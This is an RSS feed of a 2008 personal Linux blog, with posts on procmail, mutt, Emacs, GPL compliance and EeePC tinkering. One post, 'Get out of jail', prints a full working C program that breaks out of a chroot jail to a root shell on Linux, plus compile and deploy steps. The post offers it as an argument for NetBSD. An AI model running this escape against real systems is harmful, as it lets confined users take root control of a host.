<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>fophillips</title>
	<atom:link href="http://fophillips.org/b/feed" rel="self" type="application/rss+xml" />
	<link>http://fophillips.org/b</link>
	<description>dot org</description>
	<pubDate>Wed, 03 Dec 2008 16:07:45 +0000</pubDate>
	
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Timezones with Procmail</title>
		<link>http://fophillips.org/b/timezones-with-procmail</link>
		<comments>http://fophillips.org/b/timezones-with-procmail#comments</comments>
		<pubDate>Wed, 17 Sep 2008 16:45:02 +0000</pubDate>
		<dc:creator>fophillips</dc:creator>
		
		<category><![CDATA[software]]></category>

		<category><![CDATA[email]]></category>

		<category><![CDATA[procmail]]></category>

		<category><![CDATA[ruby]]></category>

		<guid isPermaLink="false">http://fophillips.org/b/?p=107</guid>
		<description><![CDATA[I use procmail to manage my incoming email and mutt to read it. Unfortunately mutt doesn’t handle dates from different timezones very well, so I came up with this procmail recipe using Ruby’s Time#parse method to convert the Date header to the current timezone:

DATE_=`formail -xDate: \
  &#124; expand &#124; sed -e 's/^[ ]*//g' -e [...]]]></description>
			<content:encoded><![CDATA[<p>I use <a href="http://www.procmail.org/">procmail</a> to manage my incoming email and <a href="http://mutt.org/">mutt</a> to read it. Unfortunately mutt doesn’t handle dates from different timezones very well, so I came up with this procmail recipe using <a href="http://ruby-lang.org">Ruby’s</a> <code>Time#parse</code> method to convert the <code>Date</code> header to the current timezone:</p>
<pre>
DATE_=`formail -xDate: \
  | expand | sed -e 's/^[ ]*//g' -e 's/[ ]*$//g'`
:0
{
  :0 fwhi
  | formail -i"Date: `ruby -e "require 'time'; p (Time.parse '${DATE_}').rfc2822"`"
}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://fophillips.org/b/timezones-with-procmail/feed</wfw:commentRss>
		</item>
		<item>
		<title>boxee</title>
		<link>http://fophillips.org/b/boxee</link>
		<comments>http://fophillips.org/b/boxee#comments</comments>
		<pubDate>Mon, 01 Sep 2008 18:49:15 +0000</pubDate>
		<dc:creator>fophillips</dc:creator>
		
		<category><![CDATA[software]]></category>

		<category><![CDATA[boxee]]></category>

		<category><![CDATA[freedom]]></category>

		<category><![CDATA[gpl]]></category>

		<guid isPermaLink="false">http://fophillips.org/b/boxee/</guid>
		<description><![CDATA[I was recently invited to the boxee (Flash warning) alpha test. Currently the only free platform they support is Ubuntu GNU/Linux, but they do offer unsupported source code download. Unfortunately attached to the download page was a license agreement which, among other things, prevented redistribution and modification of the code. Normally this isn’t really a [...]]]></description>
			<content:encoded><![CDATA[<p>I was recently invited to the <a href="http://boxee.tv">boxee</a> (Flash warning) alpha test. Currently the only free platform they support is <a href="http://ubuntu.com">Ubuntu GNU/Linux</a>, but they do offer unsupported source code download. Unfortunately attached to the download page was a license agreement which, among other things, prevented redistribution and modification of the code. Normally this isn’t really a big deal, I would just boycott the software, but boxee is based off <a href="http://xbmc.org">XBMC</a> which is licensed under the <a href="http://www.gnu.org/licenses/licenses.html#GPL">GNU GPL</a> and so boxee is obliged to release their modifications under the same license. The license agreement on the site (and in the ./license/ directory in the source code) violated the GPL, and so is against the law.</p>
<p>I <a href="http://forum.boxee.tv/showthread.php?t=382">started a thread</a> on the subject and emailed boxee with my complaints, after a lengthy <del>argument</del> <ins>discussion</ins> on the forum I received a reply from boxee expressing their sincerest apologies on the matter and told me the error will be fixed in a matter of days. They then proceeded to make a public apology in my forum thread. I am mightily suprised and impressed with their response, and wish that other companies in the same situation would handle GPL violations in the same way.</p>
<p>That wasn’t the end of the problems though, I have yet to be able to compile it on my x86 Gentoo box. I will be submitting a patch when I do.</p>
]]></content:encoded>
			<wfw:commentRss>http://fophillips.org/b/boxee/feed</wfw:commentRss>
		</item>
		<item>
		<title>Top-posting</title>
		<link>http://fophillips.org/b/top-posting</link>
		<comments>http://fophillips.org/b/top-posting#comments</comments>
		<pubDate>Wed, 30 Jul 2008 12:48:29 +0000</pubDate>
		<dc:creator>fophillips</dc:creator>
		
		<category><![CDATA[software]]></category>

		<category><![CDATA[emacs]]></category>

		<category><![CDATA[email]]></category>

		<category><![CDATA[procmail]]></category>

		<guid isPermaLink="false">http://fophillips.org/b/top-posting/</guid>
		<description><![CDATA[Top posting is the bane of internet mailing lists, the horrors of which are made clear in this example:

A: Because it messes up the order in which people normally read text.
Q: Why is top-posting such a bad thing?
A: Top-posting.
Q: What is the most annoying thing in e-mail?

Luckily GNU Emacs provides tools to combat top-posting and [...]]]></description>
			<content:encoded><![CDATA[<p>Top posting is the bane of internet mailing lists, the horrors of which are made clear in this example:</p>
<blockquote>
<p>A: Because it messes up the order in which people normally read text.</p>
<p>Q: Why is top-posting such a bad thing?</p>
<p>A: Top-posting.</p>
<p>Q: What is the most annoying thing in e-mail?</p>
</blockquote>
<p>Luckily <a href="http://gnu.org/software/emacs">GNU Emacs</a> provides tools to combat top-posting and other uglifications like badly wrapped lines in <code>uglify.el</code> packaged with the <code>gnus</code> email client.</p>
<p>I made a <code>mutt.el</code> emacs-lisp file with this in it (thanks to <a href="irc://chat.freenode.net/#emacs">#emacs</a>):</p>
<pre>(defun deuglify ()
  "Deuglify messages in batch mode"
  (with-current-buffer
      (get-buffer-create "*Article*")
    (condition-case nil
        (while t
          (insert
           (read-string "") "\n"))
      (error))
    (gnus-outlook-deuglify-article t)
    (princ (buffer-string))
    )
  )
</pre>
<p>Which provides a function <code>(deuglify)</code> that will be invoked in Emacs’ batch mode, like so:</p>
<pre>/usr/bin/emacs --batch --load ~/.emacs.d/elisp/mutt.el --eval '(deuglify)'</pre>
<p>We can then use <code>procmail</code> which is used by a number of <abbr title="mail transfer agent">MTA</abbr>s to create a recipe to pipe all of our messages through:</p>
<pre>
:0fbhw
| /usr/bin/emacs --batch --load ~/.emacs.d/elisp/mutt.el --eval '(deuglify)'
</pre>
<p>This will pipe the message headers and body into Emacs and output a pretty email into your inbox you have defined.</p>
]]></content:encoded>
			<wfw:commentRss>http://fophillips.org/b/top-posting/feed</wfw:commentRss>
		</item>
		<item>
		<title>Get out of jail</title>
		<link>http://fophillips.org/b/get-out-of-jail</link>
		<comments>http://fophillips.org/b/get-out-of-jail#comments</comments>
		<pubDate>Mon, 14 Jul 2008 18:54:40 +0000</pubDate>
		<dc:creator>fophillips</dc:creator>
		
		<category><![CDATA[software]]></category>

		<category><![CDATA[linux]]></category>

		<category><![CDATA[netbsd]]></category>

		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://fophillips.org/b/get-out-of-jail/</guid>
		<description><![CDATA[I recently switched my server to NetBSD for a
number of reasons. Mainly it was the challenge of having a new system,
and the brief experience I had with NetBSD was positive (except screen
on x86_64 failed to detect my terminfo properly). Another deciding
factor was the heightened security available on most BSD systems, Net‐
and OpenBSD in particular. An [...]]]></description>
			<content:encoded><![CDATA[<p>I recently switched my server to <a href="http://netbsd.org">NetBSD</a> for a<br />
number of reasons. Mainly it was the challenge of having a new system,<br />
and the brief experience I had with NetBSD was positive (except screen<br />
on x86_64 failed to detect my terminfo properly). Another deciding<br />
factor was the heightened security available on most BSD systems, Net‐<br />
and OpenBSD in particular. An example of this is NetBSD’s ability to<br />
thwart a number of attack vectors for breaking out of <code>chroot</code><br />
gaols. The most prominent of which still works on <a href="http://kernel.org">Linux</a>.</p>
<p>A <code>chroot</code> is a system call that traps a process in an environment<br />
with a “fake” root directory so it can only access part of the<br />
filesystem. This is often used when allowing untrusted users access to<br />
your system, which makes this method doubly scary.</p>
<p>All that is needed for this to work is the ability to run a process as<br />
root inside the <code>chroot</code> (being <code>root</code> inside a <code>chroot</code> is the most<br />
common scenario) and the ability to create a directory (a given if you<br />
are <code>root</code> in the <code>chroot</code>)</p>
<p>You can then use this little snippet of C code to break out of the<br />
gaol:</p>
<pre>#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;fcntl.h&gt;

int main() {
  int curdir = open(".",O_RDONLY);
  mkdir("the-way-out",1);
  chdir("the-way-out");
  chroot(".");
  fchdir(curdir);
  chdir("../../../../../../../../../..");
  chroot(".");
  system("/bin/sh");
  return 0;
}
</pre>
<p>You can then compile this with <code>cc breakout.c -static -o breakout</code> and<br />
move it to your <code>chroot</code> through <code>scp</code> or whatever means you want. Run<br />
it, and you will be granted <code>root</code> on the machine without a <code>chroot</code>.</p>
<pre>
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;fcntl.h&gt;</pre>
<p>This portion is just the necessary libraries for the<br />
functions. <code>fnctl.h</code> is for all the file control stuff.</p>
<pre>int main() {
  int curdir = open(".",O_RDONLY);
  mkdir("the-way-out",1);
  chdir("the-way-out");
  chroot(".");</pre>
<p>This starts the main program function, creates a new directory and<br />
<code>chroot</code>s to it. You will now be <code>chroot</code>ed in<br />
<code>/initial/directory/the-way-out</code>. <code>curdir</code> is a file descriptor which<br />
is used later on.</p>
<pre>  fchdir(curdir);
  chdir("../../../../../../../../../..");</pre>
<p>This will <code>chdir</code> out of your second gaol and into your first one. It<br />
will then <code>chdir</code> you out of your initial <code>chroot</code> and put you<br />
(hopefully) in the real root directory. If you know where you gaol is<br />
on the real filesystem you can use the right number of <code>../</code> to get to<br />
<code>/</code>. The <code>curdir</code> file descriptor is used as <code>../</code> won’t work from a<br />
straight gaol, it has to be (partly) broken first.</p>
<pre>  system("/bin/sh");
  return 0;
}
</pre>
<p>This will launch the default shell <code>/bin/sh</code> and give you root access to the<br />
whole system. Congratulations, now go tell your administrator to<br />
switch to NetBSD before someone with malicious intent comes along.</p>
]]></content:encoded>
			<wfw:commentRss>http://fophillips.org/b/get-out-of-jail/feed</wfw:commentRss>
		</item>
		<item>
		<title>Prettifying URLs</title>
		<link>http://fophillips.org/b/prettifying-urls</link>
		<comments>http://fophillips.org/b/prettifying-urls#comments</comments>
		<pubDate>Tue, 01 Jul 2008 19:45:50 +0000</pubDate>
		<dc:creator>fophillips</dc:creator>
		
		<category><![CDATA[software]]></category>

		<category><![CDATA[http]]></category>

		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://fophillips.org/b/prettifying-urls/</guid>
		<description><![CDATA[Whenever I am writing web apps I always find myself thinking that the filenames in URLs detract from the whole experience. Is there really any need for .html, or .php to be seen by the browser so long as the server knows what it needs to do?
I am always writing the same bits of code [...]]]></description>
			<content:encoded><![CDATA[<p>Whenever I am <a href="http://darcs.fophillips.org/web/darcsweb.cgi?r=tlcms2;a=summary">writing</a> <a href="http://janettephillips.com">web apps</a> I always find myself thinking that the filenames in URLs detract from the whole experience. Is there really any need for .html, or .php to be seen by the browser so long as the server knows what it needs to do?</p>
<p>I am always writing the same bits of code to acheive the same goals, so I decided to make a little object-oriented library to do it for me.</p>
<p>Get it here <a href="http://fophillips.org/prettify.tar.bz2">fophillips.org/prettify.tar.bz2</a>. I will do a write-up explaining it some other time.</p>
]]></content:encoded>
			<wfw:commentRss>http://fophillips.org/b/prettifying-urls/feed</wfw:commentRss>
		</item>
		<item>
		<title>New Digs</title>
		<link>http://fophillips.org/b/new-digs</link>
		<comments>http://fophillips.org/b/new-digs#comments</comments>
		<pubDate>Thu, 12 Jun 2008 19:34:59 +0000</pubDate>
		<dc:creator>fophillips</dc:creator>
		
		<category><![CDATA[software]]></category>

		<category><![CDATA[hosting]]></category>

		<guid isPermaLink="false">http://fophillips.org/b/new-digs/</guid>
		<description><![CDATA[I now share a VM with teenlug.com on a wonderful bytemark for a very reasonable price. I now have decent loading times of images.
]]></description>
			<content:encoded><![CDATA[<p>I now share a VM with <a href="http://teenlug.com">teenlug.com</a> on a wonderful <a href="http://bytemark.co.uk">bytemark</a> for a very reasonable price. I now have decent loading times of images.</p>
]]></content:encoded>
			<wfw:commentRss>http://fophillips.org/b/new-digs/feed</wfw:commentRss>
		</item>
		<item>
		<title>Searching for the Perfect Distro</title>
		<link>http://fophillips.org/b/searching-for-the-perfect-distro</link>
		<comments>http://fophillips.org/b/searching-for-the-perfect-distro#comments</comments>
		<pubDate>Mon, 02 Jun 2008 18:50:23 +0000</pubDate>
		<dc:creator>fophillips</dc:creator>
		
		<category><![CDATA[software]]></category>

		<category><![CDATA[distros]]></category>

		<category><![CDATA[eeepc]]></category>

		<guid isPermaLink="false">http://fophillips.org/b/searching-for-the-perfect-distro/</guid>
		<description><![CDATA[Since my previous post where I said I would be keeping the default Xandros installation on my EeePC I have installed Eeebuntu. I have been using it for about 2 days now, and after using paludis for a few months it is quite clear how catastrophically abysmal apt really is. I was trying to install [...]]]></description>
			<content:encoded><![CDATA[<p>Since my previous post where I said I would be keeping the default Xandros installation on my EeePC I have installed Eeebuntu. I have been using it for about 2 days now, and after using <a href="http://paludis.pioto.org">paludis</a> for a few months it is quite clear how catastrophically abysmal apt really is. I was trying to install darcs which managed to crash <code>apt-get</code> when it was “configuring” it. The same happened everytime I tried <code>dpkg --configure -a</code>, this meant I could not <em>uninstall</em> it until a successful <code>dpkg</code> configure. Which basically just broke it all completely.</p>
<p>As of writing I am midway through installing Arch in hope it will fare better. I was a long time Arch user before switching full time to Gentoo (which I won&#8217;t install on my Eee because of compile times).</p>
]]></content:encoded>
			<wfw:commentRss>http://fophillips.org/b/searching-for-the-perfect-distro/feed</wfw:commentRss>
		</item>
		<item>
		<title>Theeeming</title>
		<link>http://fophillips.org/b/theeeming</link>
		<comments>http://fophillips.org/b/theeeming#comments</comments>
		<pubDate>Thu, 29 May 2008 22:10:15 +0000</pubDate>
		<dc:creator>fophillips</dc:creator>
		
		<category><![CDATA[software]]></category>

		<category><![CDATA[eeepc]]></category>

		<category><![CDATA[graphics]]></category>

		<guid isPermaLink="false">http://fophillips.org/b/theeeming/</guid>
		<description><![CDATA[The default theme for IceWM on the EeePC is an ugly Luna (Windows XP) clone. So I am mashing together the AsusBlue (for the taskbar) and eiskristall for window decorations.
At the moment it looks like this:

Get the latest source from my darcs repository and put the directory in /usr/share/icewm/themes and change /etc/X11/icewm/theme to read:
Theme="eeeiskristall/default.theme"
]]></description>
			<content:encoded><![CDATA[<p>The <a href="http://farm3.static.flickr.com/2411/2266206228_7de7066af9.jpg">default theme</a> for <a href="http://www.icewm.org/">IceWM</a> on the <a href="http://eeepc.asus.com/global/">EeePC</a> is an ugly Luna (Windows XP) clone. So I am mashing together the AsusBlue (for the taskbar) and <a href="http://themes.freshmeat.net/projects/eiskristall/?branch_id=73537&#038;release_id=277660">eiskristall</a> for window decorations.</p>
<p>At the moment it looks like this:<br />
<img src='/img/theeeme/1.png' alt='intermediate' /></p>
<p>Get the latest source from <a href="http://darcs.fophillips.org/web/darcsweb.cgi?r=eeeiskristall;a=summary">my darcs repository</a> and put the directory in <code>/usr/share/icewm/themes</code> and change <code>/etc/X11/icewm/theme</code> to read:</p>
<pre>Theme="eeeiskristall/default.theme"</pre>
]]></content:encoded>
			<wfw:commentRss>http://fophillips.org/b/theeeming/feed</wfw:commentRss>
		</item>
		<item>
		<title>The Eee Has Landed</title>
		<link>http://fophillips.org/b/the-eee-has-landed</link>
		<comments>http://fophillips.org/b/the-eee-has-landed#comments</comments>
		<pubDate>Thu, 29 May 2008 18:30:09 +0000</pubDate>
		<dc:creator>fophillips</dc:creator>
		
		<category><![CDATA[hardware]]></category>

		<category><![CDATA[eeepc]]></category>

		<guid isPermaLink="false">http://fophillips.org/b/the-eee-has-landed/</guid>
		<description><![CDATA[My EeePC has arrived today. And I can quite safely say it is the best thing I have ever bought.
I was considering putting another distro on here (Gentoo), but now I have been using it all day I don&#8217;t really think it needs anything else. I even found the “advanced” interface a bit lacklustre compared [...]]]></description>
			<content:encoded><![CDATA[<p>My EeePC has arrived today. And I can quite safely say it is the best thing I have ever bought.</p>
<p>I was considering putting another distro on here (Gentoo), but now I have been using it all day I don&#8217;t really think it needs anything else. I even found the “advanced” interface a bit lacklustre compared to the the “easy” environment. I think IceWM needs a nicer, less Windowsy theme, but other than that the looks and functionality is everything I need. I have my uber efficient desktop running Gentoo and <a href="http://xmonad.org">XMonad</a> for if I want to use that sort of thing. I bought this for basically lounging around on the sofa with and taking to and fro from school.</p>
<p><em>NB: Yes it is running Linux, but with the default Luna-like theme</em></p>
<p>pr0n:<br />
<img src='/img/eee.png' alt='EeePC' /></p>
]]></content:encoded>
			<wfw:commentRss>http://fophillips.org/b/the-eee-has-landed/feed</wfw:commentRss>
		</item>
		<item>
		<title>Amarok in dzen</title>
		<link>http://fophillips.org/b/amarok-in-dzen</link>
		<comments>http://fophillips.org/b/amarok-in-dzen#comments</comments>
		<pubDate>Wed, 28 May 2008 17:16:19 +0000</pubDate>
		<dc:creator>fophillips</dc:creator>
		
		<category><![CDATA[software]]></category>

		<category><![CDATA[amarok]]></category>

		<category><![CDATA[dzen]]></category>

		<category><![CDATA[xmonad]]></category>

		<guid isPermaLink="false">http://fophillips.org/b/amarok-in-dzen/</guid>
		<description><![CDATA[I use this little script with dzen and dmplex to show the current song info in a little bar at the top of my right-hand screen. You need to make sure you have dcop up and running.
#!/bin/zsh
while true; do
  ARTIST=$(dcop amarok player artist)
  ALBUM=$(dcop amarok player album)
  TITLE=$(dcop amarok player title)
  [...]]]></description>
			<content:encoded><![CDATA[<p>I use this little script with <a href="http://dzen.geekmode.org">dzen</a> and <a href="http://dzen.geekmode.org/dwiki/doku.php?id=dzen:multiplexer">dmplex</a> to show the current song info in a little bar at the top of my right-hand screen. You need to make sure you have dcop up and running.</p>
<pre>#!/bin/zsh
while true; do
  ARTIST=$(dcop amarok player artist)
  ALBUM=$(dcop amarok player album)
  TITLE=$(dcop amarok player title)
  SONG="${TITLE} - ${ARTIST} (${ALBUM})"

  CURTIME=$(dcop amarok player trackCurrentTime)
  (( CURMINS = $CURTIME / 60 ))
  (( CURSECS = $CURTIME % 60 ))

  TOTTIME=$(dcop amarok player trackTotalTime)
  (( TOTMINS = $TOTTIME / 60 ))
  (( TOTSECS = $TOTTIME % 60 ))

  MEDIA="${SONG} [$(printf '%02d:%02d/%02d:%02d'
         $CURMINS $CURSECS $TOTMINS $TOTSECS)]"
    echo "2 ${MEDIA}"
    sleep 1s
done
</pre>
]]></content:encoded>
			<wfw:commentRss>http://fophillips.org/b/amarok-in-dzen/feed</wfw:commentRss>
		</item>
	</channel>
</rss>
